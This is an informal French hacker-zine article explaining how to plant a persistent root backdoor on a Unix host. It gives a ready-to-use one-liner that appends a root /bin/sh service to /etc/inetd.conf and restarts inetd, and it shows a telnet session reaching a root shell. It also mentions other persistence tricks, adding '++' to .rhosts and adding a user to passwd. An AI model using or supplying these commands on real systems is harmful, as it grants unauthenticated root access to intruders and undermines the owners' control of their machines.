Faire un access permanent sur une machine en 10sec ================================================== By Lionel ========= 1)Intro ------- Cette article est a un but d'information pour se faire un access en peut de temps sur une machine avec des commandes simple :o) 2)Expliquations --------------- En fait il y a plusieurs moyen pour cela , les plus connus sont rlogin (echo "++" >> ~/.rhost) ou de add un user dans le fichié passwd. Maintenent sous les nouveau systemes "linux" on ne peut plus avoir access via telnet au root :p donc voila une solution qui je pensse fera des heureux :o) Bon je n'invente rien car ce truc est vachement connus mais bon , moi je trouve ca toujours aussi bien!! Maintenent j'explique l'astuce, le but est de mettre une nouvelle ligne dans /etc/inetd.conf qui balancera un shell sur un port ....Un nouveau service quoi ;) 3)Inetd.conf ------------ Comment marche inetd.conf? Prenons une ligne au hasard: "daytime stream tcp nowait root internal" Et voila le principe de inetd.conf: " " Voila comment c'est fait: daytime = qui en gros donne le port ou sera le service. stream = ca le type de socket (voir article dans linux-sa). tcp = le protocol utilisé. nowait = le flag. root = l'user qui lance le serveur. internal = ou ce trouve le serveur a lancer. ***(args) = les options du serveur si il y en a. Les services possible avec leur port: 7 = echo 9 = discard 11 = systat 13 = daytime 15 = netstat 19 = chargen 21 = ftp 23 = telnet 25 = smtp 37 = time 79 = finger 109 = pop-2 110 = pop-3 143 = imap 513 = rlogin 514 = shell Bon il y en a plus mais je suis pas votre iench alors cherchez vous meme! voir -> "/etc/services" 4)Comment créer son propre service ---------------------------------- Maintenent on va faire notre service :o) Il suffit d'avoir un programme ... exemple: "time stream tcp nowait root /bin/sh sh -i" La on va voir un jolie shell sur le port 37 (time): [xxx@OrganiKs]# telnet 127.0.0.1 37 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. bash# mouuuuuuuuaaaaaaaaaaaaaaaaaaa :) Bon maintenent quand on veus allez vite sur un shell on fait: [xxx@OrganiKs]#echo "time stream tcp nowait root /bin/sh sh -i" >> /etc/inetd.conf;killall -HUP inetd [xxx@OrganiKs]# Tadaaaaa :) C'est pas simple? Rapide ,efficace, que demander de plus? 5)Conclusion ------------ Conclusion simple : pourquoi faire compliquer quand on peut faire simple! On est pas obligé de lancer un shell, on peut lancer n'importe quoi ... ;) 6)Greetz -------- To: clemm, spoty , ank , tiffa, shado, klog, XSFX, Datahck, OrganiKs,[fred], Mayhem, rix, exile , chx , prfalken , togusa , einstein , #toulouse, #r9, #rhino9,madchat(#madchat->undernet),Darkbug,#linux-fr(ircnet),#oracle(efnet), torcy&marcx dormoy&18eme (Ali k.,Xav,Olivier,Mathieux,Mémet,Arnauld,Camel,...), cantepeau(sophie,ced,youness,seb,la shente,bouboule,ouadgerie, ...), toulouse(Gui.,florian,Lionel,JM,Dav,Vincent,Bruno,yohan,seb,cyril, damien,jenny&virginie,stef&julie...).......Et tous ce que j'oublie...